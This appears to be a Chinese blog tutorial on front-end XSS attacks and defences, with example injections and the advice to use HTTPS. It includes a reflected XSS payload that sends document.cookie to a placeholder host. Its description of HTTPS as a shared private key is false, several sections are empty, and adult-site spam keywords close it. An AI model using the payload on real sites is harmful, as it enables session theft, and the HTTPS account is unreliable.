前端安全之XSS攻擊

XSS（cross-site scripting跨域腳本攻擊）攻擊是最常見的Web攻擊，其重點是“跨域”和“客戶端執行”。有人將XSS攻擊分為三種，分別是：

Reflected XSS

基于反射的XSS攻擊，主要依靠站點服務端返回腳本，在客戶端觸發執行從而發起Web攻擊。

例子：

http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

PS：這個地址當然是沒效的，只是舉例子而已。

結論：

如果只是1、2、3步做成功，那也只是自己折騰自己而已，如果第4步能做成功，才是個像樣的XSS攻擊。

開發安全措施：

例如：

標簽：

<span><script>alert('handsome boy')</script></span>

轉義

<span>&lt;script&gt;alert(&#39;handsome boy&#39;)&lt;/script&gt</span>

屬性：

如果一個input的value屬性值是

瑯琊榜" onclick="javascript:alert('handsome boy')

就可能出現

<input type="text" value="瑯琊榜" onclick="javascript:alert('handsome boy')">

點擊input導致攻擊腳本被執行，解決方式可以對script或者雙引號進行過濾。

Stored XSS

基于存儲的XSS攻擊，是通過發表帶有惡意跨域腳本的帖子/文章，從而把惡意腳本存儲在服務器，每個訪問該帖子/文章的人就會觸發執行。

例子：

今天天氣不錯??！<script>alert('handsome boy')</script>

出現這種情況。

結論：

后端盡可能對提交數據做過濾，在場景需求而不過濾的情況下，前端就需要做些處理了。

開發安全措施：

DOM-based or local XSS

基于DOM或本地的XSS攻擊。一般是提供一個免費的wifi，但是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面，從而植入惡意腳本。這種直接存在于頁面，無須經過服務器返回就是基于本地的XSS攻擊。

例子1：

PS：例子和圖片來自，http://www.cnblogs.com/index-html/p/wifi_hijack_3.html 不是我寫的，請注意！

這個其實就是wifi流量劫持，中間人可以看到用戶的每一個請求，可以在頁面嵌入惡意代碼，使用惡意代碼獲取用戶的信息，可以返回釣魚頁面。

例子2：

PS：這個是我的測試，在51job頁面登錄時進行抓包，可以獲取帳號密碼。

結論：

這攻擊其實跟網站本身沒有什么關系，只是數據被中間人獲取了而已，而由于HTTP是明文傳輸的，所以是極可能被竊取的。

開發安全措施：
使用HTTPS！HTTPS會在請求數據之前進行一次握手，使得客戶端與服務端都有一個私鑰，服務端用這個私鑰加密，客戶端用這個私鑰解密，這樣即使數據被人截取了，也是加密后的數據。

總結

XSS攻擊的特點就是：盡一切辦法在目標網站上執行非目標網站上原有的腳本（某篇文章說的）。本地的XSS攻擊的示例2其實不算XSS攻擊，只是簡單流量劫持。前兩種XSS攻擊是我們開發時候要注意的，而流量劫持的則可以使用HTTPS提高安全性。

亚洲理论片在线中文字幕_久久久久亚洲精品中文字幕_亚洲中文久久精品无码1_亚洲日本中文字幕天天更新